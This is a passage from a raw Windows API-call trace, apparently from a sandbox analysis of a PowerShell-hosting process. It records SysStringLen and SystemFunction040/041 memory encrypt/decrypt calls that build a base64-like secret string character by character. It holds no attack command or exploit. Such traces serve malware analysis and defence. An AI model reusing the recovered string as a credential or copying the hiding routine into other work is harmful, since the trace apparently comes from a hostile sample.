returned 0x0 [0137.696] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O㻐") returned 0x18 [0137.696] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.696] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x60f2\x8f7d\xdb29\x23da\xb8e7\xd9c1\x19b5\x33ed") returned 0x18 [0137.696] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x60f2\x8f7d\xdb29\x23da\xb8e7\xd9c1\x19b5\x33ed") returned 0x18 [0137.696] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.696] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O3") returned 0x18 [0137.696] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.696] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e") returned 0x18 [0137.696] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e") returned 0x18 [0137.696] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e") returned 0x18 [0137.697] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e") returned 0x20 [0137.697] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.697] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34ꋏᐖꞪ엺㎍") returned 0x20 [0137.697] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.697] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x9e6d\x75b6\xb13c\x95dd\xfb2b\xcc8\xdc73\xd51d") returned 0x20 [0137.697] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x9e6d\x75b6\xb13c\x95dd\xfb2b\xcc8\xdc73\xd51d") returned 0x20 [0137.697] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.697] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34iᐖꞪ엺㎍") returned 0x20 [0137.697] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.697] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x52da\x8705\x23eb\x99e0\xde9\x7e4f\xcf98\xb62e") returned 0x20 [0137.697] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x52da\x8705\x23eb\x99e0\xde9\x7e4f\xcf98\xb62e") returned 0x20 [0137.697] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.697] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izꞪ엺㎍") returned 0x20 [0137.697] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.697] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x8dda\x25c0\x816b\x156d\x7cb0\x63ef\xe518\xa3b6") returned 0x20 [0137.697] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x8dda\x25c0\x816b\x156d\x7cb0\x63ef\xe518\xa3b6") returned 0x20 [0137.697] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.697] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izb엺㎍") returned 0x20 [0137.697] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.698] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x4a5a\xd453\x776d\x87c6\x8463\x8351\x7074\x81e7") returned 0x20 [0137.698] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x4a5a\xd453\x776d\x87c6\x8463\x8351\x7074\x81e7") returned 0x20 [0137.698] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.698] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izbG엺㎍") returned 0x20 [0137.698] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.698] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x3195\x3525\xf5ff\xb8d2\xf690\xfc4d\xca3b\x9016") returned 0x20 [0137.698] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x3195\x3525\xf5ff\xb8d2\xf690\xfc4d\xca3b\x9016") returned 0x20 [0137.698] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.698] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izbGL엺㎍") returned 0x20 [0137.698] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.698] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x1b3a\xc90e\x924\x7fd4\xef0b\xdc8\xe9d3\x1cb3") returned 0x20 [0137.698] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x1b3a\xc90e\x924\x7fd4\xef0b\xdc8\xe9d3\x1cb3") returned 0x20 [0137.698] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.698] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izbGLx㎍") returned 0x20 [0137.698] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.698] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x63b0\xffd\xd1d2\x2a34\x1032\x97c6\x3917\x9dd9") returned 0x20 [0137.698] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x63b0\xffd\xd1d2\x2a34\x1032\x97c6\x3917\x9dd9") returned 0x20 [0137.698] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.698] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izbGLxL") returned 0x20 [0137.698] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.698] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb") returned 0x20 [0137.698] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb") returned 0x20 [0137.698] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb") returned 0x20 [0137.699] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb") returned 0x28 [0137.699] SystemFunction041 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.699] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izbGLxLj伉㑠鑘ಂ娳瘘") returned 0x28 [0137.699] SystemFunction040 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.699] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\x5184\xc9c\xfc73\x6eed\x5033\x2e63\x4c16\xfb6") returned 0x28 [0137.699] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\x5184\xc9c\xfc73\x6eed\x5033\x2e63\x4c16\xfb6") returned 0x28 [0137.699] SystemFunction041 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.699] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izbGLxLjw㑠鑘ಂ娳瘘") returned 0x28 [0137.699] SystemFunction040 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.699] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\x45f5\x6189\x52fa\xee45\x9abc\x3e98\xe66b\x594c") returned 0x28 [0137.699] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\x45f5\x6189\x52fa\xee45\x9abc\x3e98\xe66b\x594c") returned 0x28 [0137.699] SystemFunction041 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.699] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izbGLxLjwz鑘ಂ娳瘘") returned 0x28 [0137.699] SystemFunction040 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.699] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\xfd0a\x8cf2\x3b7a\xcae0\xf968\xef87\x9670\xa2b4") returned 0x28 [0137.699] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\xfd0a\x8cf2\x3b7a\xcae0\xf968\xef87\x9670\xa2b4") returned 0x28 [0137.699] SystemFunction041 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.699] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izbGLxLjwzAಂ娳瘘") returned 0x28 [0137.699] SystemFunction040 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.699] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\x6dbd\x9fd9\xfa2b\xd2d4\xaf4f\x63b3\xe766\x3234") returned 0x28 [0137.699] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\x6dbd\x9fd9\xfa2b\xd2d4\xaf4f\x63b3\xe766\x3234") returned 0x28 [0137.699] SystemFunction041 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.699] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izbGLxLjwzAG娳瘘") returned 0x28 [0137.700] SystemFunction040 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.700] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\xe06b\xedff\xad68\x1da7\xb074\xb6c\x5b9d\x4be9") returned 0x28 [0137.700] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\xe06b\xedff\xad68\x1da7\xb074\xb6c\x5b9d\x4be9") returned 0x28 [0137.700] SystemFunction041 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.700] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izbGLxLjwzAGV瘘") returned 0x28 [0137.700] SystemFunction040 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.700] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\x231d\x2b29\x46c1\xc5ea\xeb6e\xb365\x5838\x7462") returned 0x28 [0137.700] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\x231d\x2b29\x46c1\xc5ea\xeb6e\xb365\x5838\x7462") returned 0x28 [0137.700] SystemFunction041 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.700] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izbGLxLjwzAGVp瘘") returned 0x28 [0137.700] SystemFunction040 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.700] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\x8729\x6fef\x1f70\x32e0\x63e4\x639c\x1604\xcee8") returned 0x28 [0137.700] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\x8729\x6fef\x1f70\x32e0\x63e4\x639c\x1604\xcee8") returned 0x28 [0137.700] SystemFunction041 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.700] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izbGLxLjwzAGVpD") returned 0x28 [0137.700] SystemFunction040 (in: Memory=0x8ebf8ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf8ec) returned 0x0 [0137.700] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\xf894\x366a\x4455\xecb7\x3623\xa1ea\xafe4\xc3e7") returned 0x28 [0137.700] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\xf894\x366a\x4455\xecb7\x3623\xa1ea\xafe4\xc3e7") returned 0x28 [0137.700] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\xf894\x366a\x4455\xecb7\x3623\xa1ea\xafe4\xc3e7") returned 0x28 [0137.700] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\xf894\x366a\x4455\xecb7\x3623\xa1ea\xafe4\xc3e7") returned 0x30 [0137.700] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0137.701] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izbGLxLjwzAGVpDo㙀㜝땿") returned 0x30 [0137.701] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0137.701] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\xf894\x366a\x4455\xecb7\x3623\xa1ea\xafe4\xc3e7\xb410\x71b1\x62c8\x25c1\x35f5\x56c7\xe866\xfbc5") returned 0x30 [0137.701] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\xf894\x366a\x4455\xecb7\x3623\xa1ea\xafe4\xc3e7\xb410\x71b1\x62c8\x25c1\x35f5\x56c7\xe866\xfbc5") returned 0x30 [0137.701] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0137.701] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izbGLxLjwzAGVpDoQ㜝땿") returned 0x30 [0137.701] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0137.701] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\xf894\x366a\x4455\xecb7\x3623\xa1ea\xafe4\xc3e7\x1d57\xc840\x9fa5\x7682\xfe1f\x9d2d\xd94\x5ff2") returned 0x30 [0137.701] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\xf894\x366a\x4455\xecb7\x3623\xa1ea\xafe4\xc3e7\x1d57\xc840\x9fa5\x7682\xfe1f\x9d2d\xd94\x5ff2") returned 0x30 [0137.701] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0137.701] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izbGLxLjwzAGVpDoQs땿") returned 0x30 [0137.701] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0137.701] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\xf894\x366a\x4455\xecb7\x3623\xa1ea\xafe4\xc3e7\xb88f\x93aa\x7d2e\x439f\x9fb4\x8322\xef35\x763a") returned 0x30 [0137.701] SysStringLen (param_1="\xb26\xa2f8\x3fb8\xd88b\x7da5\x9996\x5027\x6114\x273\x4aa1\xdd89\xf8e3\xb506\xd7e6\x2436\xe03\x768f\xa2e5\x675e\xa6ac\x1e24\xf344\x8001\x35e\x5981\x4f23\x4728\x955e\xc842\x4ea6\xa695\x46cb\xf894\x366a\x4455\xecb7\x3623\xa1ea\xafe4\xc3e7\xb88f\x93aa\x7d2e\x439f\x9fb4\x8322\xef35\x763a") returned 0x30 [0137.701] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0137.701] SysStringLen (param_1="ntFPRHXbEGoA9xrq9YV+L0O34izbGLxLjwzAGVpDoQs=땿") returned 0x30 [0137.701] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0137.702] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0137.702] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.702] SysStringLen (param_1="") returned 0x8 [0137.702] SysStringLen (param_1="Y") returned 0x8 [0137.702] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.702] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.702] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.702] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.702] SysStringLen (param_1="YW") returned 0x8 [0137.702] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.703] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.703] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.703] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.703] SysStringLen (param_1="YWM") returned 0x8 [0137.703] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.703] SysStringLen 